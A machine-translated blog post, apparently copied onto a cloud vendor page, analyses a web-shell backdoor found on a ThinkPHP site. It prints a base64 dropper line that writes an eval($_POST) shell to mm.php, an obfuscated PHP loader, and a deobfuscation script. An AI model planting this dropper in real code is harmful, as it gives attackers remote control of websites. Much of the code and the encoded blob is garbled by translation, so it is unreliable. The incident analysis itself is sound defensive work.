PHP is invisible to a single-line backdoor, and the ThinkPHP framework is used to add a password program (base64_decode)

Source: Internet
Author: User
Today, a customer's server is frequently written with a backdoor and deleted. the following code was added to the program. you can pay attention to the parameters of the base64_decode function. ThinkPHP

Today, a customer's server is frequently written:
Mm. php
Content:
The code is as follows:


Finally, find the first action in a file:
The code is as follows:
Fputs (fopen (base64_decode ("bW0ucGhw"), "w"), base64_decode ("PD9ldmFsKCRfUE9TVFtjXSk7Pz4 = "));
Base64_decode ("bW0ucGhw") // mm. php
Base64_decode ("PD9ldmFsKCRfUE9TVFtjXSk7Pz4 = ")//


In this way, as long as these files are accessed, the mm. php will be automatically created.
If you find mm. php and delete it, there will be more in the future. it is becoming abnormal ~
As follows:
The code is as follows:
PD9ldmFs // base64_encode (" ZXZhbA ==/base64_encode ("eval ");

A secret file of the ThinkPHP framework-sgcms is also found with the following content:
The code is as follows:
$ OOO0O0O00 =__ FILE __; $ OOO000000 = urldecode ('% 74% 68% 36% 73% 62% 65% 68% 71% 6c % 61% 34% 63% 6f % 5f % 73% 61% 64% 66% 70% 6e % 72'); $ OO00O0000 = 12308; $ ooo=o0 = $ ooo=00 {4 }. $ OOO000000 {9 }. $ OOO000000 {3 }. $ ooo=00 {5}; $ ooo=o0. = $ OOO000000 {2 }. $ OOO000000 {10 }. $ OOO000000 {13 }. $ OOO000000 {16}; $ ooo=o0. = $ ooo=o0 {3 }. $ OOO000000 {11 }. $ OOO000000 {12 }. $ ooo=o0 {7 }. $ ooo1_00 {5}; $ o0o1_o0 = 'ooo=o0'; eval ($ o0o1_o0 ('je9pme9pmdaw Bytes Response = '); return;?>
Examples/examples + Il8vEEWljx8kj/Wp9EVK4xht7/HUoYWfdCqXaG + examples/examples + J7t + Jy8W + examples/4Ko/examples + agx5 V/examples/samples/examples + examples/ wny/users + Q/users + hyYh2A/users + users/W2d/WhHB8hQ/users + users/W2d/WhHB8hjB7KIe83Q/users/WKADS6f4sBAL + users/users + release/release + 2yth2otVnVfnbj/release/56f4sgItWzot + 0 jCWgdXNkH/release + Release/NryRTeVeHmoGOP79 + release + Release/release + Jot + keys + 0 HUgDQ/keys + 0 HUgDQ/keys + HGxrf4n5QXN5MG2mH/8JQG + keys/7hA/82M9QDQ/keys/WKQ/keys + keys/8JQG + keys /7hA/examples + y/examples + zQ/examples/8JQG + hAtxTQ0ssHG + hAtxDQ/W + HGxTQ0W2d/examples + rolN5V/examples/W + examples/8JQ/W + examples examples/WgjDcKABq3VX + examples/WgjDcKABq3VX + KHBHKAGT0AR + examples/examples + examples/W2H0a5M9S2d/examples + examples/examples + sd/examples/ kernel + tRV + 7tORqUJ5MfY + kernel/kernel + tRVZ7GO + kernel/kernel + kernel/gnq/kernel + kernel/kernel + rolN014J1dgJ1q/ wnolaZMBVr7B2p7t + hAtxTq/examples + examples/qU7EpuX0JuX0q2V/examples + examples/uJH0qCo/QnqG + examples/examples + examples/WsAtx5M9N0l/examples/uUI0uJHDh3Vtq3V/Qnq/examples/Templates/examples/ q5yCJ5q/examples + examples/QsjgJ1Vt + 37l4nqGWhVGO3V/examples/5 UaObkuGqHdfNbl/examples/Examples /clusters/containers + cores + zolq3V/containers + cores/Q5M9NDl/5 containers N3l/5 guobkaghdfngl/5 gaObkafSHdfNgl/5 gaObkafSHdfNgl/logs/ encrypt + encrypt/decrypt/QsjgJ1Vt + encrypt/decrypt/5 gaObkafSHdfShl/5 gaObkafSHdfNgl/5 gaObkafSHdfNgl/encrypt/decrypt + combine/decrypt + zolq3V/decrypt /clusters/queues/5JI2bkaf8HdfNLl/5 gaObkafSHdfNgl/queues/Wnola5yE + zolq3V/queues + queues/queues + hat8v1_j5 V/queues + queues/ examples/examples + examples/examples + 0dB7sAG8mItU219YTHB8hA/examples/8mol4nqG + examples/examples + MGuKVt + examples + 19Jb14J1dgJ1qG + examples/8RADNzA08ZlLqsV/examples + examples/examples + wIlqRIlzn7t + examples + example + Jot + example + DHeN6qB + example + JQG7hILxTlXqeot + example 3VtuC7lu3yY7KHDNz7B2p7t + UA9SBotb2HR + 8HBgrMGY5o/mirror ratio + Weight + hAt8VQX5DyB + Weight + weight/weight + weight =

After decryption:
The code is as follows:
Echo'


HakeTeam Website Backup V1.0 Beta-'; echo getenv ('http _ host'); echo'





';?>

This is a php code used to package it into a zip file. it is really disgusting that these birds use it to hack other people's websites ~~
The ThinkPHP framework (sgcms) decryption program is as follows:
The code is as follows:
// This file is protected by sgcms & provided under license.
Copyright (C) 2007-2010 www.sgcms.cn, All rights reserved.
$ OOO0O0O00 =__ FILE __;
$ OOO000000 = urldecode ('th6sbehqla4co _ sadfpnr ');
$ OO00O0000 = 21496;
$ Ooo=o0 = $ ooo=00 {4 }.
$ OOO000000 {9}. $ OOO000000 {3}. $ OOO000000 {5 };
$ Ooo=o0. = $ ooo=00 {2}. $ ooo=00 {10}. $ ooo=00 {13}. $ ooo=00 {16 };
$ Ooo=o0. = $ ooo=o0 {3}. $ ooo=00 {11}. $ ooo=00 {12}. $ ooo=o0 {7}. $ ooo=00 {5 };
$ O0o1_o0 = 'ooo=o0 ';
Eval ($ o0o1_o0 ('je9pme9pmdawmd0kt09pmdawmdaweze3fs4kt09pmdawm...

Obviously, some PHP code obfuscation tools were used for obfuscation. Google searched the internet to solve the problem, making it easy for friends who encountered the same problem.
Decrypt the php file:
The code is as follows:
$ Filename = "GlobalAction. class. php"; // file to be decrypted
$ Lines = file ($ filename); // 0, 1, 2 rows
// The first base64 decryption
$ Content = "";
If (preg_match ("/o0o1_o0 \ ('. *' \)/", $ lines [1], $ y ))
{
$ Content = str_replace ("o0o1_o0 ('", "", $ y [0]);
$ Content = str_replace ("')", "", $ content );
$ Content = base64_decode ($ content );
}
// Search for the key in the content after the first base64 decryption
$ Decode_key = "";
If (preg_match ("/\), '. *',/", $ content, $ k ))
{
$ Decode_key = str_replace ("), '", "", $ k [0]);
$ Decode_key = str_replace ("',", "", $ decode_key );
}
// Search for the length of the string to be truncated
$ Str_length = "";
If (preg_match ("/, \ d * \),/", $ content, $ k ))
{
$ Str_length = str_replace ("),", "", $ k [0]);
$ Str_length = str_replace (",", "", $ str_length );
}
// Intercept the encrypted ciphertext of the file
$ Secret = substr ($ lines [2], $ str_length );
// Echo $ Secret;
// Directly restores the ciphertext output
Echo" 'Abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789 + /')).
"?> ";
?>
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.